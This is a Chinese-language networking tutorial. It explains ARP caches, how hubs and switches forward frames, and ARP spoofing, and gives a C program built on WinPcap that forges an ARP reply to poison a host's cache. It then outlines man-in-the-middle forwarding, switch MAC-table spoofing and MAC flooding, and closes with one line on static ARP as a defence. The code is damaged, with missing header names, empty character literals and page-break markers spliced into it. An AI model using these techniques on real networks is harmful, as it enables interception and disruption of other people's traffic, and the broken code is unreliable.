乙太網內的嗅探sniff對於網絡安全來說並不是什麼好事,雖然對於網絡管理員能夠跟蹤數據包並且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。
ARP緩存表假設這樣一個網絡:
E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left borderColorLight=black border=1>
――――――――――
| HUB |
――――――――――
HostA HostB HostC
其中:
A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假設B是屬於一個嗅探愛好者的,比如A機器的ARP緩存:
C:>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的ARP緩存表,找到C的IP位址的MAC地址,那麼就會進行數據傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那麼A首先要廣播一次ARP請求,當C接收到A 的請求後就發送一個應答,應答中包含有C的MAC地址,然後A接收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發送數據(由網卡附加MAC地址)。因此,本地高速緩存的這個ARP表是本地網絡流通的基礎,而且這個緩存是動態的。
集線器網絡(Hub-Based)
很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候,Hub只是簡單地把這個數據包廣播到Hub的所有埠上。這就是上面舉例中的一種網絡結構。
現在A需要發送TCP數據包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那麼A將要廣播一個ARP請求,當C接收到這個請求後,就作出應答,然後A更新自己的ARP緩存表。並獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包,Ethernet幀中就包含了C的MAC地址。當數據包傳輸到HUB的時候,HUB直接把整個數據包廣播到所有的埠,然後C就能夠接收到A發送的數據包。
正因為HUB把數據廣播到所有的埠,所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。因此,Hub-Based的網絡基本沒有安全可言,嗅探在這樣的網絡中非常容易。
交換網絡(Switched Lan)
交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數據包進行埠廣播,它將通過自己的ARP緩存來決定數據包傳輸到那個埠上。因此,在交換網絡上,如果把上面例子中的HUB換為Switch,B就不會接收到A發送給C的數據包,即便設置網卡為混雜模式,也不能進行嗅探。
ARP欺騙(ARP spoofing)
ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網絡中,B向A發送一個自己偽造的ARP應答,而這個應答中的數據為發送方IP位址是192.168.10.3(C的IP位址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這裡被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不知道被偽造了)。現在A機器的ARP緩存更新了:
C:>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
這可不是小事。區域網的網絡流通可不是根據IP位址進行,而是按照MAC地址進行傳輸。現在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址。現在A開始Ping 192.168.10.3,網卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結果是什麼呢?網絡不通,A根本不能Ping通C!!這就是一個簡單的ARP欺騙。
我們來實現這樣的ARP欺騙。這裡需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/),winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。
// ARP Sender
#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數,就不列在這裡了
#include
#include
#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */
unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;###NextPage###
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters! ");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != )||(*(temp-1) != ))
{
if (*temp == )
{
memcpy(AdapterList,temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L" %d- %s ", i+1, AdapterList);
printf(" ");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一個網卡(假設啦)
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx ", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf(" Error:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error! ");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error! ");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error! ");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP位址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error! ");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目標A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目標A的IP位址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write! ");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets! ");
return 0;
}
printf ("Send ok! ");###NextPage###
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
於是A接收到一個被偽造的ARP應答。A被欺騙了!!倘若在區域網中看某某機器不順眼,乙太網中的嗅探太有作用了,但是交換網絡對嗅探進行了限制,讓嗅探深入程度大打折扣。不過,很容易就能夠發現,主機、Switch(動態更新地址表類型,下同)中的緩存表依然是(主要是)動態的。要在一個交換網絡中進行有效的嗅探工作(地下黨?),需要採用對付各種緩存表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎中我們就能夠做到。
對目標進行ARP欺騙
就象上面程序中實現的一樣,對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如果進行欺騙的時候,把C的MAC地址騙為BB-BB-BB-BB-BB-BB,於是A發送到C上的數據包都變成發送給B的了。這不正好是B能夠接收到A發送的數據包了麼,嗅探成功。
A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了!!B對接收到A發送給C的數據包可沒有轉交給C。做「man in the middle」,進行ARP重定向。打開B的IP轉發功能,A發送過來的數據包,轉發給C,好比一個路由器一樣。不過,假如B發送ICMP重定向的話就中斷了整個計劃。直接進行整個包的修改轉發,捕獲到A發送給的數據包,全部進行修改後再轉發給C,而C接收到的數據包完全認為是從A發送來的。不過,C發送的數據包又直接傳遞給A,倘若再次進行對C的ARP欺騙。現在B就完全成為A與C的中間橋梁了。
對Switch的MAC欺騙
Switch上同樣維護著一個動態的MAC緩存,它一般是這樣,首先,交換機內部有一個對應的列表,交換機的埠對應MAC地址表Port n <-> Mac記錄著每一個埠下面存在那些MAC地址,這個表開始是空的,交換機從來往數據幀中學習。舉例來說,當Port 1口所接的計算機發出了一個數據幀,這幀數據從Port 1進入交換機,交換機就取這個數據幀的原MAC地址AAAA,然後在地址表中記錄:Port 1 <-> AAAA, 以後,所有發向MAC地址為AAAA的數據幀,就全從Port 1口輸出,而不會從其它的口輸出。
跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那麼對應的MAC和PORT就一樣跟著改變,本來不應該發送到嗅探器的數據結果發送過來了,這樣也達到了嗅探的目的。修改本地(B)發送的數據包MAC地址為原來A的MAC地址,當經過交換機的時候,交換機發現埠B對應的地址是機器A的MAC地址,於是就將會把A的MAC地址同埠B相對應,從而把發送給A的數據從埠B傳輸了,本來這些應該是傳送到埠A的。因此,從機器B就能夠獲得發送給A的數據。
但是,這裡有一個問題,A將接收不到數據了。嗅探不目的並不是要去破壞正常的數據通訊。同時,從剛才的欺騙中,讓交換機中一個MAC地址對應了多個埠,這種對於交換機處理還不清楚。還請多指教。
對Switch進行Flood
就象上面介紹Switch的MAC和Port對應關係形成的原理,因為MAC-PORT緩存表是動態更新的,那麼讓整個Switch的埠表都改變,對Switch進行MAC地址欺騙的Flood,不斷發送大量假MAC地址的數據包,Switch就更新MAC-PORT緩存,如果能通過這樣的辦法把以前正常的MAC和Port對應的關係破壞了,那麼Switch就會進行泛洪發送給每一個埠,讓Switch基本變成一個HUB,向所有的埠發送數據包,要嗅探的目的一樣能夠達到。
存在的問題,Switch對這種極限情況的處理,因為屬於不正常情況,可能會引起包丟失情況。而且現在對這種極限情況的Switch狀態還很不了解。如果對網絡通訊造成了大的破壞,這不屬於正常的嗅探(嗅探也會引起一些丟失)。
對Switch進行各種手段的操作,需要小心,如果打開了埠保護,那麼可能會讓交換機關閉所有用戶。因此,對交換機這樣的設備進行欺騙或者其他操作,還不如對一些上級設備進行欺騙,比如目標主機或者路由器。
至於上面關於嗅探的手段都是基於這個動態表進行的。因此,使用靜態的ARP就能夠進行防範了。對於WIN,使用arp -s 來進行靜態ARP的設置。